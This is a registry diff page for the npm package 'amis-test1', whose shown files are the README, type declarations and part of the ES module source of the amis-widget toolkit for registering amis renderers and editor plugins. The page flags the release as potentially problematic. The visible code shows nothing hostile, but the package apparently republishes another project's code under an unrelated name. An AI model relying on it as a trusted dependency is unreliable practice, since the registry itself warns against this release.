amis-test1 0.0.1-security → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of amis-test1 might be problematic. Click here for more details.
- package/README.md +145 -3
- package/dist/frameworkFactory/jqFactory.d.ts +47 -0
- package/dist/frameworkFactory/vueFactory.d.ts +50 -0
- package/dist/function/registerAmisEditorPlugin.d.ts +67 -0
- package/dist/function/registerRendererByType.d.ts +39 -0
- package/dist/index.esm.js +533 -0
- package/dist/index.esm.min.js +1 -0
- package/dist/index.umd.js +2 -0
- package/dist/index.umd.js.LICENSE.txt +7 -0
- package/dist/main.d.ts +10 -0
- package/dist/utils/index.d.ts +31 -0
- package/dist/utils/object.d.ts +8 -0
- package/package.json +68 -3
package/README.md
CHANGED
|
@@ -1,5 +1,147 @@
|
|
|
1
|
-
#
|
|
1
|
+
# amis-widget
|
|
2
|
+
> 开发amis自定义组件的工具集(支持react、vue2.0和jQuery技术栈)
|
|
3
|
+
- 提供注册amis组件和amis-editor插件的方法;
|
|
4
|
+
- 目前支持的技术栈:jQuery、vue2、react,vue3.0技术栈在[vue3-amis-widget](https://github.com/aisuda/amis-widget/tree/feat-vue3)中支持;
|
|
5
|
+
- 支持的amis渲染器类型:renderer(amis普通渲染器)、formitem(amis表单渲染器)、options(amis表单控件渲染器)。
|
|
2
6
|
|
|
3
|
-
|
|
7
|
+
### 提供的方法
|
|
8
|
+
- registerRendererByType: 根据type类型注册 amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
9
|
+
- registerAmisEditorPlugin: 注册 amis-editor 插件
|
|
4
10
|
|
|
5
|
-
|
|
11
|
+
### amis-widget 3.0 版本依赖说明
|
|
12
|
+
- 2.0 版本支持 amis 和 amis-editor 的任何版本;
|
|
13
|
+
- 3.0.0 以上版本需要 amis 2.5.2-beta.0 以上版本, amis-editor 5.2.1-beta.32 以上版本。
|
|
14
|
+
|
|
15
|
+
### 在线Demo
|
|
16
|
+
[点击访问在线Demo](https://aisuda.github.io/amis-widget/test/preview.html)
|
|
17
|
+
|
|
18
|
+
## 快速使用
|
|
19
|
+
|
|
20
|
+
```
|
|
21
|
+
npm install --save amis-widget
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## 注册amis组件
|
|
25
|
+
```tsx
|
|
26
|
+
import { registerRendererByType } from 'amis-widget';
|
|
27
|
+
class MyReactSelect extends React.PureComponent {
|
|
28
|
+
constructor() {
|
|
29
|
+
super();
|
|
30
|
+
this.handleChange = this.handleChange.bind(this);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
handleChange(event) {
|
|
34
|
+
// 调用amis onToggle 方法,变更选择器表单项值
|
|
35
|
+
const {onToggle, options} = this.props;
|
|
36
|
+
const option = options.find(o => o.value === event.target.value);
|
|
37
|
+
if (onToggle) {
|
|
38
|
+
onToggle(option);
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
render() {
|
|
43
|
+
// 获取表单项 value 和 options 属性
|
|
44
|
+
const {label, options, title} = this.props;
|
|
45
|
+
|
|
46
|
+
return (
|
|
47
|
+
<div className="react-select">
|
|
48
|
+
<span>
|
|
49
|
+
{label}:
|
|
50
|
+
</span>
|
|
51
|
+
<select onChange={this.handleChange} title={title}>
|
|
52
|
+
{options.map(option => (
|
|
53
|
+
<option key={option.value} value={option.value}>
|
|
54
|
+
{option.label}
|
|
55
|
+
</option>
|
|
56
|
+
))}
|
|
57
|
+
</select>
|
|
58
|
+
</div>
|
|
59
|
+
|
|
60
|
+
);
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
// 注册amis普通渲染器
|
|
64
|
+
registerRendererByType(MyReactSelect, {
|
|
65
|
+
type: 'react-select',
|
|
66
|
+
usage: 'renderer', // formitem: amis表单渲染器、options: amis表单控件渲染器
|
|
67
|
+
weight: 100,
|
|
68
|
+
framework: 'react' // 技术栈类型
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
export default MyReactSelect;
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
## 注册amis-editor插件
|
|
75
|
+
```tsx
|
|
76
|
+
import { registerAmisEditorPlugin } from 'amis-widget';
|
|
77
|
+
|
|
78
|
+
class ReactSelectPlugin {
|
|
79
|
+
rendererName = 'react-select'; // 对应的amis渲染器
|
|
80
|
+
$schema = '/schemas/UnkownSchema.json';
|
|
81
|
+
name = 'react-select';
|
|
82
|
+
description = 'react-select';
|
|
83
|
+
tags = ['展示']; // 自定义组件分类
|
|
84
|
+
icon = 'fa fa-file-code-o';
|
|
85
|
+
order = 100; // 组件面板中的展示优先级,越小越靠前展示
|
|
86
|
+
scaffold = { // 插入到页面时需要
|
|
87
|
+
type: 'react-select',
|
|
88
|
+
label: 'react-select',
|
|
89
|
+
name: 'react-select',
|
|
90
|
+
options: [
|
|
91
|
+
{
|
|
92
|
+
label: 'A',
|
|
93
|
+
value: 'a'
|
|
94
|
+
},
|
|
95
|
+
{
|
|
96
|
+
label: 'B',
|
|
97
|
+
value: 'b'
|
|
98
|
+
},
|
|
99
|
+
{
|
|
100
|
+
label: 'C',
|
|
101
|
+
value: 'c'
|
|
102
|
+
}
|
|
103
|
+
]
|
|
104
|
+
};
|
|
105
|
+
previewSchema = { // 组件面板预览时需要
|
|
106
|
+
type: 'react-select',
|
|
107
|
+
label: 'react-select',
|
|
108
|
+
options: [
|
|
109
|
+
{
|
|
110
|
+
label: 'A',
|
|
111
|
+
value: 'a'
|
|
112
|
+
},
|
|
113
|
+
{
|
|
114
|
+
label: 'B',
|
|
115
|
+
value: 'b'
|
|
116
|
+
},
|
|
117
|
+
{
|
|
118
|
+
label: 'C',
|
|
119
|
+
value: 'c'
|
|
120
|
+
}
|
|
121
|
+
]
|
|
122
|
+
};
|
|
123
|
+
panelTitle = '下拉框'; // 右侧属性面板Title
|
|
124
|
+
panelBody = [ // 右侧属性面板配置项
|
|
125
|
+
{
|
|
126
|
+
type: 'input-text',
|
|
127
|
+
name: 'label',
|
|
128
|
+
label: 'label',
|
|
129
|
+
value: 'react-select'
|
|
130
|
+
},
|
|
131
|
+
{
|
|
132
|
+
type: 'textarea',
|
|
133
|
+
name: 'title',
|
|
134
|
+
label: 'hover title',
|
|
135
|
+
value: '点击下拉选择数值'
|
|
136
|
+
},
|
|
137
|
+
{
|
|
138
|
+
type: 'tpl',
|
|
139
|
+
tpl: '备注:可根据变量 \\${amisUser} 获取用户数据。'
|
|
140
|
+
}
|
|
141
|
+
];
|
|
142
|
+
}
|
|
143
|
+
// 注册一个amis-editor插件(仅页面设计器需要,会在自定义组件面板中展示)
|
|
144
|
+
registerAmisEditorPlugin(ReactSelectPlugin);
|
|
145
|
+
|
|
146
|
+
export default ReactSelectPlugin;
|
|
147
|
+
```
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @file 自定义组件所需的 jQuery 对接
|
|
3
|
+
*/
|
|
4
|
+
import React from 'react';
|
|
5
|
+
import 'jquery';
|
|
6
|
+
import { IScopedContext, RendererProps } from 'amis-core';
|
|
7
|
+
export declare function createJQComponent(jqueryObj: any): {
|
|
8
|
+
new (props: any, context: IScopedContext): {
|
|
9
|
+
dom: any;
|
|
10
|
+
instance: any;
|
|
11
|
+
componentDidMount(): void;
|
|
12
|
+
componentDidUpdate(prevProps: any): void;
|
|
13
|
+
componentWillUnmount(): void;
|
|
14
|
+
/**
|
|
15
|
+
* reload动作处理
|
|
16
|
+
*/
|
|
17
|
+
reload(): void;
|
|
18
|
+
/**
|
|
19
|
+
* amis事件动作处理:
|
|
20
|
+
* 在这里设置自定义组件对外暴露的动作,其他组件可以通过组件动作触发自定义组件的对应动作
|
|
21
|
+
*/
|
|
22
|
+
doAction(action: any, args: object): void;
|
|
23
|
+
domRef(dom: any): void;
|
|
24
|
+
_render(): void;
|
|
25
|
+
render(): React.JSX.Element;
|
|
26
|
+
context: any;
|
|
27
|
+
setState<K extends never>(state: {} | ((prevState: Readonly<{}>, props: Readonly<RendererProps>) => {} | Pick<{}, K> | null) | Pick<{}, K> | null, callback?: (() => void) | undefined): void;
|
|
28
|
+
forceUpdate(callback?: (() => void) | undefined): void;
|
|
29
|
+
readonly props: Readonly<RendererProps> & Readonly<{
|
|
30
|
+
children?: React.ReactNode;
|
|
31
|
+
}>;
|
|
32
|
+
state: Readonly<{}>;
|
|
33
|
+
refs: {
|
|
34
|
+
[key: string]: React.ReactInstance;
|
|
35
|
+
};
|
|
36
|
+
shouldComponentUpdate?(nextProps: Readonly<RendererProps>, nextState: Readonly<{}>, nextContext: any): boolean;
|
|
37
|
+
componentDidCatch?(error: Error, errorInfo: React.ErrorInfo): void;
|
|
38
|
+
getSnapshotBeforeUpdate?(prevProps: Readonly<RendererProps>, prevState: Readonly<{}>): any;
|
|
39
|
+
componentWillMount?(): void;
|
|
40
|
+
UNSAFE_componentWillMount?(): void;
|
|
41
|
+
componentWillReceiveProps?(nextProps: Readonly<RendererProps>, nextContext: any): void;
|
|
42
|
+
UNSAFE_componentWillReceiveProps?(nextProps: Readonly<RendererProps>, nextContext: any): void;
|
|
43
|
+
componentWillUpdate?(nextProps: Readonly<RendererProps>, nextState: Readonly<{}>, nextContext: any): void;
|
|
44
|
+
UNSAFE_componentWillUpdate?(nextProps: Readonly<RendererProps>, nextState: Readonly<{}>, nextContext: any): void;
|
|
45
|
+
};
|
|
46
|
+
contextType: React.Context<IScopedContext>;
|
|
47
|
+
} | undefined;
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @file 自定义组件所需的 vue2.0 对接
|
|
3
|
+
*/
|
|
4
|
+
import React from 'react';
|
|
5
|
+
import { IScopedContext, RendererProps } from 'amis-core';
|
|
6
|
+
export declare function createVue2Component(vueObj: any): {
|
|
7
|
+
new (props: RendererProps, context: IScopedContext): {
|
|
8
|
+
domRef: any;
|
|
9
|
+
vm: any;
|
|
10
|
+
isUnmount: boolean;
|
|
11
|
+
componentDidMount(): void;
|
|
12
|
+
renderChild(schemaPosition: string, childSchema: any, insertElemId: string): void | null;
|
|
13
|
+
componentDidUpdate(): void;
|
|
14
|
+
componentWillUnmount(): void;
|
|
15
|
+
resolveAmisProps(): {
|
|
16
|
+
amisData: any;
|
|
17
|
+
amisFunc: any;
|
|
18
|
+
};
|
|
19
|
+
/**
|
|
20
|
+
* reload动作处理
|
|
21
|
+
*/
|
|
22
|
+
reload(): void;
|
|
23
|
+
/**
|
|
24
|
+
* amis事件动作处理:
|
|
25
|
+
* 在这里设置自定义组件对外暴露的动作,其他组件可以通过组件动作触发自定义组件的对应动作
|
|
26
|
+
*/
|
|
27
|
+
doAction(action: any, args: object): void;
|
|
28
|
+
render(): React.JSX.Element;
|
|
29
|
+
context: any;
|
|
30
|
+
setState<K extends never>(state: {} | ((prevState: Readonly<{}>, props: Readonly<RendererProps>) => {} | Pick<{}, K> | null) | Pick<{}, K> | null, callback?: (() => void) | undefined): void;
|
|
31
|
+
forceUpdate(callback?: (() => void) | undefined): void;
|
|
32
|
+
readonly props: Readonly<RendererProps> & Readonly<{
|
|
33
|
+
children?: React.ReactNode;
|
|
34
|
+
}>;
|
|
35
|
+
state: Readonly<{}>;
|
|
36
|
+
refs: {
|
|
37
|
+
[key: string]: React.ReactInstance;
|
|
38
|
+
};
|
|
39
|
+
shouldComponentUpdate?(nextProps: Readonly<RendererProps>, nextState: Readonly<{}>, nextContext: any): boolean;
|
|
40
|
+
componentDidCatch?(error: Error, errorInfo: React.ErrorInfo): void;
|
|
41
|
+
getSnapshotBeforeUpdate?(prevProps: Readonly<RendererProps>, prevState: Readonly<{}>): any;
|
|
42
|
+
componentWillMount?(): void;
|
|
43
|
+
UNSAFE_componentWillMount?(): void;
|
|
44
|
+
componentWillReceiveProps?(nextProps: Readonly<RendererProps>, nextContext: any): void;
|
|
45
|
+
UNSAFE_componentWillReceiveProps?(nextProps: Readonly<RendererProps>, nextContext: any): void;
|
|
46
|
+
componentWillUpdate?(nextProps: Readonly<RendererProps>, nextState: Readonly<{}>, nextContext: any): void;
|
|
47
|
+
UNSAFE_componentWillUpdate?(nextProps: Readonly<RendererProps>, nextState: Readonly<{}>, nextContext: any): void;
|
|
48
|
+
};
|
|
49
|
+
contextType: React.Context<IScopedContext>;
|
|
50
|
+
} | undefined;
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
import { BasePlugin, getSchemaTpl } from 'amis-editor-core';
|
|
2
|
+
/**
|
|
3
|
+
* 自定义editor插件配置项
|
|
4
|
+
*/
|
|
5
|
+
export interface PluginOption {
|
|
6
|
+
/**
|
|
7
|
+
* 关联的渲染器
|
|
8
|
+
* 备注:可以关联当前的自定义组件,也可以关联平台预置组件和其他自定义组件
|
|
9
|
+
*/
|
|
10
|
+
rendererName?: string;
|
|
11
|
+
/**
|
|
12
|
+
* 关联的渲染器
|
|
13
|
+
* 备注:type 和 rendererName 为同一个字段,rendererName 和 type 不能同时存在
|
|
14
|
+
* 目的:兼容用户的错误写法
|
|
15
|
+
*/
|
|
16
|
+
type?: string;
|
|
17
|
+
/**
|
|
18
|
+
* 自定义组件名称
|
|
19
|
+
* 在「页面设计器」自定义组件面板中显示
|
|
20
|
+
*/
|
|
21
|
+
name?: string;
|
|
22
|
+
/**
|
|
23
|
+
* 自定义组件描述
|
|
24
|
+
* hover自定义组件时展示
|
|
25
|
+
*/
|
|
26
|
+
description?: string;
|
|
27
|
+
/**
|
|
28
|
+
* 自定义组件分类
|
|
29
|
+
* 指定当前自定义插件在「页面设计器」自定义组件面板中哪个分类下展示
|
|
30
|
+
*/
|
|
31
|
+
tags?: string | Array<string>;
|
|
32
|
+
/**
|
|
33
|
+
* 自定义组件排序
|
|
34
|
+
* 指定当前自定义插件在「页面设计器」自定义组件面板中的展示次序
|
|
35
|
+
*/
|
|
36
|
+
order?: number;
|
|
37
|
+
/**
|
|
38
|
+
* 自定义组件icon
|
|
39
|
+
*/
|
|
40
|
+
icon?: string;
|
|
41
|
+
/**
|
|
42
|
+
* 属性配置面板Title
|
|
43
|
+
*/
|
|
44
|
+
panelTitle?: string;
|
|
45
|
+
/**
|
|
46
|
+
* 自定义组件显隐
|
|
47
|
+
* 备注:设置为true时则不展示
|
|
48
|
+
*/
|
|
49
|
+
disabledRendererPlugin?: boolean;
|
|
50
|
+
}
|
|
51
|
+
/**
|
|
52
|
+
* registerAmisEditorPlugin: 注册 amis-editor 插件
|
|
53
|
+
*【方法参数说明】
|
|
54
|
+
* _editorPlugin: 新的自定义插件,
|
|
55
|
+
* pluginOption?: {
|
|
56
|
+
* rendererName?: 关联的渲染器
|
|
57
|
+
* name?: 自定义组件名称
|
|
58
|
+
* description?: 自定义组件描述
|
|
59
|
+
* tags?: 自定义组件分类
|
|
60
|
+
* order?: 自定义组件排序
|
|
61
|
+
* icon?: 自定义组件icon
|
|
62
|
+
* panelTitle?: 属性配置面板Title
|
|
63
|
+
* disabledRendererPlugin?: 自定义组件显隐
|
|
64
|
+
* }
|
|
65
|
+
*/
|
|
66
|
+
export declare function registerAmisEditorPlugin(_EditorPlugin: any, pluginOption?: PluginOption): any;
|
|
67
|
+
export { getSchemaTpl, BasePlugin };
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* 自定义editor插件配置项
|
|
3
|
+
*/
|
|
4
|
+
export interface AmisRendererOption {
|
|
5
|
+
/**
|
|
6
|
+
* 渲染器名称
|
|
7
|
+
* 备注:渲染过程中用于查找对应的渲染器
|
|
8
|
+
*/
|
|
9
|
+
type: string;
|
|
10
|
+
/**
|
|
11
|
+
* 要注册的amis渲染器类型
|
|
12
|
+
* amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
13
|
+
* 备注:默认为amis普通渲染器
|
|
14
|
+
*/
|
|
15
|
+
usage?: string;
|
|
16
|
+
/**
|
|
17
|
+
* 自定义组件权重
|
|
18
|
+
* 备注:值越低越优先命中
|
|
19
|
+
*/
|
|
20
|
+
weight?: number;
|
|
21
|
+
/**
|
|
22
|
+
* 自定义组件技术栈类型
|
|
23
|
+
* 备注:默认为react
|
|
24
|
+
*/
|
|
25
|
+
framework?: string;
|
|
26
|
+
}
|
|
27
|
+
/**
|
|
28
|
+
* registerRendererByType: 根据type类型注册amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
29
|
+
*【方法参数说明】
|
|
30
|
+
* newRenderer: 新的渲染器,
|
|
31
|
+
* rendererOption: {
|
|
32
|
+
* type: 渲染器的type类型,比如:input、text-area、select-user等
|
|
33
|
+
* usage?: amis普通渲染器、amis表单渲染器、amis表单控件渲染器
|
|
34
|
+
* weight?: 自定义组件权重
|
|
35
|
+
* framework?: 技术栈类型,默认为 react 技术栈,可选技术栈:vue2、react、jquery
|
|
36
|
+
* }
|
|
37
|
+
* 备注:暂不支持 vue3.0 技术栈
|
|
38
|
+
*/
|
|
39
|
+
export declare function registerRendererByType(newRenderer: any, rendererOption: string | AmisRendererOption): void;
|
|
@@ -0,0 +1,533 @@
|
|
|
1
|
+
import { BasePlugin } from 'amis-editor-core';
|
|
2
|
+
export { BasePlugin, getSchemaTpl } from 'amis-editor-core';
|
|
3
|
+
import React from 'react';
|
|
4
|
+
import 'jquery';
|
|
5
|
+
import { ScopedContext } from 'amis-core';
|
|
6
|
+
import ReactDOM from 'react-dom';
|
|
7
|
+
import Vue from 'vue';
|
|
8
|
+
|
|
9
|
+
// 方便取值的时候能够把上层的取到,但是获取的时候不会全部把所有的数据获取到。
|
|
10
|
+
function cloneObject(target, persistOwnProps = true) {
|
|
11
|
+
const obj = target && target.__super
|
|
12
|
+
? Object.create(target.__super, {
|
|
13
|
+
__super: {
|
|
14
|
+
value: target.__super,
|
|
15
|
+
writable: false,
|
|
16
|
+
enumerable: false,
|
|
17
|
+
},
|
|
18
|
+
})
|
|
19
|
+
: Object.create(Object.prototype);
|
|
20
|
+
persistOwnProps &&
|
|
21
|
+
target &&
|
|
22
|
+
Object.keys(target).forEach((key) => (obj[key] = target[key]));
|
|
23
|
+
return obj;
|
|
24
|
+
}
|
|
25
|
+
function extendObject(target, src, persistOwnProps = true) {
|
|
26
|
+
const obj = cloneObject(target, persistOwnProps);
|
|
27
|
+
src && Object.keys(src).forEach((key) => (obj[key] = src[key]));
|
|
28
|
+
return obj;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
const consoleTag = '[amis-widget]'; // 输出标记
|
|
32
|
+
/**
|
|
33
|
+
* 获取技术栈标识
|
|
34
|
+
* 目的:兼容用户非标准写法
|
|
35
|
+
*/
|
|
36
|
+
function getFramework(_framework) {
|
|
37
|
+
let defaultFramework = Framework.react;
|
|
38
|
+
if (!_framework) {
|
|
39
|
+
return defaultFramework;
|
|
40
|
+
}
|
|
41
|
+
let curFramework = _framework.toLowerCase().trim();
|
|
42
|
+
switch (curFramework) {
|
|
43
|
+
case 'jquery':
|
|
44
|
+
case 'jq':
|
|
45
|
+
curFramework = Framework.jquery;
|
|
46
|
+
break;
|
|
47
|
+
case 'vue':
|
|
48
|
+
case 'vue2':
|
|
49
|
+
case 'vue 2':
|
|
50
|
+
case 'vue2.0':
|
|
51
|
+
case 'vue 2.0':
|
|
52
|
+
curFramework = Framework.vue2;
|
|
53
|
+
break;
|
|
54
|
+
case 'vue3':
|
|
55
|
+
case 'vue 3':
|
|
56
|
+
case 'vue3.0':
|
|
57
|
+
case 'vue 3.0':
|
|
58
|
+
curFramework = Framework.vue3;
|
|
59
|
+
console.error('amis-widget不支持vue3.0技术栈,请改用vue3-amis-widget支持。');
|
|
60
|
+
break;
|
|
61
|
+
default:
|
|
62
|
+
curFramework = Framework.react;
|
|
63
|
+
}
|
|
64
|
+
return curFramework;
|
|
65
|
+
}
|
|
66
|
+
var Usage;
|
|
67
|
+
(function (Usage) {
|
|
68
|
+
Usage["renderer"] = "renderer";
|
|
69
|
+
Usage["formitem"] = "formitem";
|
|
70
|
+
Usage["options"] = "options";
|
|
71
|
+
})(Usage || (Usage = {}));
|
|
72
|
+
/**
|
|
73
|
+
* 获取amis渲染器类型标识
|
|
74
|
+
* 目的:兼容用户非标准写法
|
|
75
|
+
*/
|
|
76
|
+
function getUsage(_usage) {
|
|
77
|
+
let defaultUsage = Usage.renderer;
|
|
78
|
+
if (!_usage) {
|
|
79
|
+
return defaultUsage;
|
|
80
|
+
}
|
|
81
|
+
let curUsage = _usage.toLowerCase().trim();
|
|
82
|
+
switch (curUsage) {
|
|
83
|
+
case 'renderer':
|
|
84
|
+
case 'renderers':
|
|
85
|
+
curUsage = Usage.renderer;
|
|
86
|
+
break;
|
|
87
|
+
case 'formitem':
|
|
88
|
+
case 'form-item':
|
|
89
|
+
case 'form item':
|
|
90
|
+
curUsage = Usage.formitem;
|
|
91
|
+
break;
|
|
92
|
+
case 'options':
|
|
93
|
+
case 'option':
|
|
94
|
+
case 'formoption':
|
|
95
|
+
case 'form-option':
|
|
96
|
+
case 'form option':
|
|
97
|
+
curUsage = Usage.options;
|
|
98
|
+
break;
|
|
99
|
+
default:
|
|
100
|
+
curUsage = Usage.renderer;
|
|
101
|
+
}
|
|
102
|
+
return curUsage;
|
|
103
|
+
}
|
|
104
|
+
/**
|
|
105
|
+
* 当前amis-widget支持的技术栈
|
|
106
|
+
* 备注:vue2和vue3不能同时存在
|
|
107
|
+
*/
|
|
108
|
+
var Framework;
|
|
109
|
+
(function (Framework) {
|
|
110
|
+
Framework["react"] = "react";
|
|
111
|
+
Framework["vue2"] = "vue2";
|
|
112
|
+
Framework["vue3"] = "vue3";
|
|
113
|
+
Framework["jquery"] = "jquery";
|
|
114
|
+
})(Framework || (Framework = {}));
|
|
115
|
+
// 判断是否缺失editor插件关键字段
|
|
116
|
+
function isEditorPlugin(EditorPluginClass) {
|
|
117
|
+
let _isEditorPlugin = false;
|
|
118
|
+
if (!EditorPluginClass) {
|
|
119
|
+
return false;
|
|
120
|
+
}
|
|
121
|
+
const _editorPluginObj = new EditorPluginClass();
|
|
122
|
+
if (!_editorPluginObj.rendererName) {
|
|
123
|
+
console.error(`${consoleTag}自定义插件注册失败,关联渲染器(rendererName)不能为空。`);
|
|
124
|
+
}
|
|
125
|
+
else if (!_editorPluginObj.name) {
|
|
126
|
+
console.error(`${consoleTag}自定义插件注册失败,自定义组件名称(name)不能为空。`);
|
|
127
|
+
}
|
|
128
|
+
else if (!_editorPluginObj.description) {
|
|
129
|
+
console.error(`${consoleTag}自定义插件注册失败,自定义组件描述(description)不能为空。`);
|
|
130
|
+
}
|
|
131
|
+
else if (!_editorPluginObj.tags ||
|
|
132
|
+
(Array.isArray(_editorPluginObj.tags) && _editorPluginObj.tags.length === 0)) {
|
|
133
|
+
console.error(`${consoleTag}自定义插件注册失败,自定义组件分类(tags)不能为空。`);
|
|
134
|
+
}
|
|
135
|
+
else if (!_editorPluginObj.panelTitle) {
|
|
136
|
+
console.error(`${consoleTag}自定义插件注册失败,自定义组件配置面板Title(panelTitle)不能为空。`);
|
|
137
|
+
}
|
|
138
|
+
else {
|
|
139
|
+
// 1.设置一个默认icon
|
|
140
|
+
if (!_editorPluginObj.icon) {
|
|
141
|
+
Object.assign(EditorPluginClass.prototype, {
|
|
142
|
+
icon: 'fa fa-file-code-o',
|
|
143
|
+
});
|
|
144
|
+
}
|
|
145
|
+
_isEditorPlugin = true;
|
|
146
|
+
}
|
|
147
|
+
return _isEditorPlugin;
|
|
148
|
+
}
|
|
149
|
+
// 判断是否是字符串类型
|
|
150
|
+
function isString(str) {
|
|
151
|
+
return Object.prototype.toString.call(str).slice(8, -1) === 'String';
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
// @ts-ignore
|
|
155
|
+
/**
|
|
156
|
+
* registerAmisEditorPlugin: 注册 amis-editor 插件
|
|
157
|
+
*【方法参数说明】
|
|
158
|
+
* _editorPlugin: 新的自定义插件,
|
|
159
|
+
* pluginOption?: {
|
|
160
|
+
* rendererName?: 关联的渲染器
|
|
161
|
+
* name?: 自定义组件名称
|
|
162
|
+
* description?: 自定义组件描述
|
|
163
|
+
* tags?: 自定义组件分类
|
|
164
|
+
* order?: 自定义组件排序
|
|
165
|
+
* icon?: 自定义组件icon
|
|
166
|
+
* panelTitle?: 属性配置面板Title
|
|
167
|
+
* disabledRendererPlugin?: 自定义组件显隐
|
|
168
|
+
* }
|
|
169
|
+
*/
|
|
170
|
+
function registerAmisEditorPlugin(_EditorPlugin, pluginOption) {
|
|
171
|
+
const rendererName = pluginOption?.rendererName || pluginOption?.type;
|
|
172
|
+
// 如果当前plugin已经继承了BasePlugin,则直接注册自定义插件
|
|
173
|
+
if (_EditorPlugin && _EditorPlugin.prototype instanceof BasePlugin) {
|
|
174
|
+
registerPluginAction(_EditorPlugin, rendererName);
|
|
175
|
+
return _EditorPlugin;
|
|
176
|
+
}
|
|
177
|
+
// 如果自定义插件并未继承BasePlugin,则自动为其进行包裹处理
|
|
178
|
+
class NewEditorPlugin extends BasePlugin {
|
|
179
|
+
constructor(props) {
|
|
180
|
+
super(props);
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
// 将用户自定义的插件相关属性设置到插件对象中
|
|
184
|
+
Object.assign(NewEditorPlugin.prototype, new _EditorPlugin());
|
|
185
|
+
if (pluginOption) {
|
|
186
|
+
// 将用户的注册时的配置属性添加到插件对象中
|
|
187
|
+
Object.assign(NewEditorPlugin.prototype, pluginOption);
|
|
188
|
+
}
|
|
189
|
+
registerPluginAction(NewEditorPlugin, rendererName);
|
|
190
|
+
return NewEditorPlugin;
|
|
191
|
+
}
|
|
192
|
+
function registerPluginAction(NewEditorPlugin, rendererName) {
|
|
193
|
+
if (NewEditorPlugin && isEditorPlugin(NewEditorPlugin)) {
|
|
194
|
+
const curEditorPluginName = rendererName || new NewEditorPlugin().rendererName;
|
|
195
|
+
Object.assign(NewEditorPlugin.prototype, {
|
|
196
|
+
isNpmCustomWidget: true,
|
|
197
|
+
rendererName: curEditorPluginName,
|
|
198
|
+
});
|
|
199
|
+
// registerEditorPlugin(NewEditorPlugin); // 3.0 无需直接注册为amis-editor插件
|
|
200
|
+
// 通过 postMessage 告知 amis-editor 注册一个新的插件
|
|
201
|
+
if (window && window.postMessage) {
|
|
202
|
+
const newComponentType = AddCustomEditorPlugin(curEditorPluginName, NewEditorPlugin);
|
|
203
|
+
if (newComponentType) {
|
|
204
|
+
console.info(`${consoleTag}触发注册自定义插件(${curEditorPluginName})事件`);
|
|
205
|
+
window.postMessage({
|
|
206
|
+
type: 'amis-widget-register-event',
|
|
207
|
+
eventMsg: `${consoleTag}注册一个自定义amis-editor插件`,
|
|
208
|
+
editorPluginName: curEditorPluginName,
|
|
209
|
+
}, '*');
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
}
|
|
213
|
+
}
|
|
214
|
+
function AddCustomEditorPlugin(componentType, plugin) {
|
|
215
|
+
if (window && !window.AMISEditorCustomPlugins) {
|
|
216
|
+
window.AMISEditorCustomPlugins = {};
|
|
217
|
+
}
|
|
218
|
+
if (!window.AMISEditorCustomPlugins[componentType]) {
|
|
219
|
+
window.AMISEditorCustomPlugins[componentType] = plugin;
|
|
220
|
+
return componentType;
|
|
221
|
+
}
|
|
222
|
+
else {
|
|
223
|
+
console.error(`${consoleTag}注册自定义插件失败,已存在重名插件(${componentType})。`);
|
|
224
|
+
}
|
|
225
|
+
return null;
|
|
226
|
+
}
|
|
227
|
+
|
|
228
|
+
/**
|
|
229
|
+
* @file 自定义组件所需的 jQuery 对接
|
|
230
|
+
*/
|
|
231
|
+
function createJQComponent(jqueryObj) {
|
|
232
|
+
if (!jqueryObj ||
|
|
233
|
+
(typeof jqueryObj !== 'function' && typeof jqueryObj !== 'object')) {
|
|
234
|
+
return;
|
|
235
|
+
}
|
|
236
|
+
class JQFactory extends React.Component {
|
|
237
|
+
dom;
|
|
238
|
+
instance;
|
|
239
|
+
static contextType = ScopedContext;
|
|
240
|
+
constructor(props, context) {
|
|
241
|
+
super(props);
|
|
242
|
+
this.domRef = this.domRef.bind(this);
|
|
243
|
+
const scoped = context;
|
|
244
|
+
scoped.registerComponent(this);
|
|
245
|
+
this.instance =
|
|
246
|
+
typeof jqueryObj === 'function' ? new jqueryObj() : jqueryObj;
|
|
247
|
+
}
|
|
248
|
+
componentDidMount() {
|
|
249
|
+
const { onMount } = this.instance;
|
|
250
|
+
onMount && onMount.apply(this.instance, [this.props]);
|
|
251
|
+
}
|
|
252
|
+
componentDidUpdate(prevProps) {
|
|
253
|
+
const { onUpdate } = this.instance;
|
|
254
|
+
onUpdate && onUpdate.apply(this.instance, [this.props, prevProps]);
|
|
255
|
+
}
|
|
256
|
+
componentWillUnmount() {
|
|
257
|
+
const scoped = this.context;
|
|
258
|
+
scoped.unRegisterComponent(this);
|
|
259
|
+
const { onUnmout } = this.instance;
|
|
260
|
+
onUnmout && onUnmout.apply(this.instance, this.props);
|
|
261
|
+
}
|
|
262
|
+
/**
|
|
263
|
+
* reload动作处理
|
|
264
|
+
*/
|
|
265
|
+
reload() {
|
|
266
|
+
if (this.instance && this.instance.reload) {
|
|
267
|
+
this.instance.reload();
|
|
268
|
+
}
|
|
269
|
+
else {
|
|
270
|
+
console.warn('自定义组件中暂不支持reload动作。');
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
/**
|
|
274
|
+
* amis事件动作处理:
|
|
275
|
+
* 在这里设置自定义组件对外暴露的动作,其他组件可以通过组件动作触发自定义组件的对应动作
|
|
276
|
+
*/
|
|
277
|
+
doAction(action, args) {
|
|
278
|
+
if (this.instance && this.instance.doAction) {
|
|
279
|
+
this.instance.doAction(action, args);
|
|
280
|
+
